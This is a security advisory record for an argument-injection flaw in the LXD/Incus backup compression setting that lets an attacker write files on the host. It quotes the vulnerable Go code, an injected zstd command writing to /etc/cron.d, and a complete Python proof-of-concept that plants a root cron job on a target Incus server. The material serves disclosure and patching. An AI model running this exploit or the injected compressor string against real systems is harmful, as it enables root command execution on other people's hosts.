Argument injection in LXD backup compression allows host file writes
Key facts
- Attack vector
- —
- Privileges required
- —
- User interaction
- —
- Attack complexity
- —
- Impact type
- —
- Confidentiality · integrity · availability
- —
- Fix status
- Fixed
No CVSS vector from any source. Fix status from GitHub.
Summary
The github.com/canonical/lxd Go module from 0 before 0.0.0-20260630083100-c5184be310b1 is affected. The backup compression_algorithm setting checks only the first token against an allowlist, so extra arguments reach the compressor unchecked (CWE-20). An attacker who can set the compression algorithm for a backup can make the daemon write arbitrary files on the host, possibly leading to arbitrary command execution.
Written with Claude Haiku 5.5 from the sources below · 2026-11-06
Description from the GitHub advisory
Reported from https://github.com/lxc/incus/security/advisories/GHSA-v6mj-8pf4-hhw4 ### Summary Improper validation of user-provided backup compression algorithm leads to argument injection in the constructed command line. This leads to an arbitrary file write on the host, possibly leading to arbitrary command execution. ### Details Incus validates `compression_algorithm` by parsing it into fields and checking only the first token against an allowlist: ```go fields, err := shellquote.Split(value) ... if !slices.Contains([]string{"bzip2", "gzip", "lz4", "lzma", "pigz", "pzstd", "pxz", "tar2sqfs", "xz", "zstd"}, fields[0]) { return fmt.Errorf("Compression algorithm %q isn't currently supported", fields[0]) } _, err = exec.LookPath(fields[0]) ``` Extra arguments are not rejected. `compressFile()` then prepends `-c` and passes the remaining user-supplied fields to the compressor: ```go args := []string{"-c"} if len(fields) > 1 { args = append(args, fields[1:]...) } cmd := exec.Command(fields[0], args...) cmd.Stdin = infile cmd.Stdout = outfile ``` With a value like: ```text zstd -d -f --pass-through -o /etc/cron.d/incus-zstd-rce -- /var/lib/incus/.../payload ``` the daemon executes the equivalent of: ```text zstd -c -d -f --pass-through -o /etc/cron.d/incus-zstd-rce -- /var/lib/incus/.../payload ``` ### PoC ``` python3 poc.py \ --insecure --url https://remote-incus:8443 \ --cert ~/.config/incus/client.crt --key ~/.config/incus/client.key \ --instance c01 \ --execute --yes-i-understand-this-writes-host-file ``` The following was generated by an LLM model. ``` #!/usr/bin/env python3 """Short remote Incus backup compression zstd cron RCE PoC. Dry-run is the default. --execute uploads a cron payload into an instance and then asks Incus for a direct backup with a zstd argument-injection compressor: zstd -c -d -f --pass-through -o /etc/cron.d/incus-zstd-rce -- <source> The direct backup may fail after zstd runs; the host file write is the primitive. Use only on an authorized Incus server. """ from __future__ import annotations import argparse import json import os import shlex import sys import urllib.parse from pathlib import PurePosixPath from typing import Any import requests def q(value: str) -> str: return urllib.parse.quote(value, safe="") def api(base: str, endpoint: str, **params: str) -> str: return base.rstrip("/") + endpoint + ("?" + urllib.parse.urlencode(params) if params else "") def project_instance(project: str, instance: str) -> str: return instance if project == "default" else f"{project}_{instance}" def clean_guest_path(path: str) -> str: if not path.startswith("/"): raise ValueError("--guest-path must be absolute") if ".." in PurePosixPath(path).parts: raise ValueError("--guest-path must not contain '..'") return os.path.normpath("/" + path.lstrip("/")).lstrip("/") def source_path(args: argparse.Namespace) -> str: if args.source_host_path: return args.source_host_path return os.path.join( args.incus_dir, "storage-pools", args.pool, args.storage_kind, project_instance(args.project, args.instance), "rootfs", clean_guest_path(args.guest_path), ) def cron(command: str) -> bytes: return f"* * * * * root /bin/sh -c {shlex.quote(command)}\n".encode() def session(args: argparse.Namespace) -> requests.Session: s = requests.Session() s.verify = False if args.insecure else (args.cacert or True) if args.cert or args.key: s.cert = (args.cert, args.key) if args.token: s.headers["Authorization"] = "Bearer " + args.token s.headers["User-Agent"] = "incus-zstd-backup-rce-poc" if args.insecure: requests.packages.urllib3.disable_warnings() # type: ignore[attr-defined] return s def check(resp: requests.Response, what: str) -> requests.Response: if resp.status_code >= 400: try: detail: Any = resp.json() except Exception: detail = resp.text[:2048] raise RuntimeError(f"{what} failed: HTTP {resp.status_code}: {detail}") return resp def upload(s: requests.Session, args: argparse.Namespace, payload: bytes) -> None: url = api(args.url, f"/1.0/instances/{q(args.instance)}/files", project=args.project, path=args.guest_path) headers = { "Content-Type": "application/octet-stream", "X-Incus-type": "file", "X-Incus-write": "overwrite", "X-Incus-uid": "0", "X-Incus-gid": "0", "X-Incus-mode": "0644", } print(f"[*] uploading cron payload to {args.instance}:{args.guest_path}") check(s.post(url, data=payload, headers=headers, timeout=args.timeout), "payload upload") def trigger_backup(s: requests.Session, args: argparse.Namespace, body: dict[str, Any]) -> None: url = api(args.url, f"/1.0/instances/{q(args.instance)}/backups", project=args.project) print("[*] sending direct backup request") resp = s.post( url, data=json.dumps(body).encode(), headers={"Accept": "application/octet-stream", "Content-Type": "application/json"}, timeout=args.timeout, stream=True, ) print(f"[*] backup HTTP {resp.status_code}") resp.close() if resp.status_code >= 400: print("[*] HTTP error after compressor launch is possible; check whether the cron file was written") def parse_args() -> argparse.Namespace: p = argparse.ArgumentParser(description="Remote Incus zstd backup-compression cron RCE PoC") p.add_argument("--url", required=True, help="https://host:8443") p.add_argument("--cert", help="client certificate PEM") p.add_argument("--key", help="client private key PEM") p.add_argument("--cacert", help="CA certificate PEM") p.add_argument("--token", help="bearer token") p.add_argument("--insecure", action="store_true", help="disable TLS verification") p.add_argument("--timeout", type=int, default=180) p.add_argument("--project", default="default") p.add_argument("--instance", required=True) p.add_argument("--pool", default="default") p.add_argument("--storage-kind", choices=["containers", "virtual-machines"], default="containers") p.add_argument("--incus-dir", default="/var/lib/incus") p.add_argument("--guest-path", default="/incus-zstd-cron") p.add_argument("--source-host-path", help="override daemon-readable host path for the staged payload") p.add_argument("--cron-path", default="/etc/cron.d/incus-zstd-rce") p.add_argument("--command", default="date >/incus-zstd-rce; id >>/incus-zstd-rce") p.add_argument("--execute", action="store_true", help="stage payload and send backup request") p.add_argument("--yes-i-understand-this-writes-host-file", action="store_true", help="required with --execute") args = p.parse_args() if urllib.parse.urlparse(args.url).scheme != "https": p.error("--url must use https") if bool(args.cert) != bool(args.key): p.error("--cert and --key must be supplied together") if args.execute and not args.yes_i_understand_this_writes_host_file: p.error("--execute requires --yes-i-understand-this-writes-host-file") try: clean_guest_path(args.guest_path) except ValueError as exc: p.error(str(exc)) args.url = args.url.rstrip("/") return args def main() -> int: args = parse_args() src = source_path(args) payload = cron(args.command) compressor = f"zstd -d -f --pass-through -o {shlex.quote(args.cron_path)} -- {shlex.quote(src)}" body = {"compression_algorithm": compressor, "instance_only": True} print("[*] target:", args.url) print("[*] project:", args.project) print("[*] instance:", args.instance) print("[*] source host path:", src) print("[*] cron path:", args.cron_path) print("[*] payload:", payload.decode().rstrip()) print("[*] backup body:", json.dumps(body, sort_keys=True)) if not args.execute: print("[*] dry run only; add --execute and the confirmation flag to act") return 0 s = session(args) upload(s, args, payload) trigger_backup(s, args, body) return 0 if __name__ == "__main__": try: raise SystemExit(main()) except BrokenPipeError: raise SystemExit(1) except Exception as exc: print(f"[-] {exc}", file=sys.stderr) raise SystemExit(1) ``` ### Impact Improperly validated compression algorithm argument leads to argument injection leading to arbitrary file write with `zstd` and possibly arbitrary command execution.
Why it matters now
SSVC decision points
Not available: CISA has not published SSVC decision points for this record.
Affected products
| Vendor | Product | Affected versions | Fixed in | Status | Source |
|---|---|---|---|---|---|
| — | github.com/canonical/lxd (Go) | before 0.0.0-20260630083100-c5184be310b1 | 0.0.0-20260630083100-c5184be310b1 | Patch available | GHSA-fmc8-p6q7-75cc |
- github.com/canonical/lxd (Go) Vendor— Affected before 0.0.0-20260630083100-c5184be310b1 Fixed in 0.0.0-20260630083100-c5184be310b1 Patch available GHSA-fmc8-p6q7-75cc
Remediation
Update github.com/canonical/lxd to the fixed version 0.0.0-20260630083100-c5184be310b1.
Written with Claude Haiku 5.5 from the sources below · 2026-11-06
- Fix · GHSA-fmc8-p6q7-75cc github.com/canonical/lxd (Go) Fixed in 0.0.0-20260630083100-c5184be310b1 Advisory →
Timeline
- 2026-11-06 Threatist record created from GHSA-fmc8-p6q7-75cc
References
Other 15
- https://github.com/canonical/lxd/security/advisories/GHSA-fmc8-p6q7-75cc
- https://github.com/lxc/incus/security/advisories/GHSA-v6mj-8pf4-hhw4
- https://github.com/canonical/lxd/commit/0915bb88cbb0baed5ac1aef8e62079c57ac877da
- https://github.com/canonical/lxd/commit/0ab30d1bbe398ef6359fb8116d6852790a1f151d
- https://github.com/canonical/lxd/commit/1887e3da0f33af250d941e4e9ffafc8fd0911a89
- https://github.com/canonical/lxd/commit/32fd88560ddfc10b0a808c9f176d93faf0e0069a
- https://github.com/canonical/lxd/commit/932592daa790ddd1c0d074daee9c0522d8e268fe
- https://github.com/canonical/lxd/commit/9b09906b3b4c27ba4416e522644bd1d5191cdf5f
- https://github.com/canonical/lxd/commit/a2808429c2506d6fa5bf506e4790909c5bd3aac9
- https://github.com/canonical/lxd/commit/afc0e7ff003b81fa00f3aff147b99838a610f796
- https://github.com/canonical/lxd/commit/b3e8cedb39838e5effe7b9d0ae3a3ad3ce85f9ec
- https://github.com/canonical/lxd/commit/c6c999561ccf0024337e9f3746087c7f9c5f096f
- https://github.com/canonical/lxd/commit/e1e6018c509f52db0fb531c7c20fa7aac59858de
- https://github.com/canonical/lxd/commit/e224d6f8230a2da7ed7e60ab2aee44c788f9dba8
- https://github.com/canonical/lxd
Sources
This product uses the NVD API but is not endorsed or certified by the NVD. Sources and licences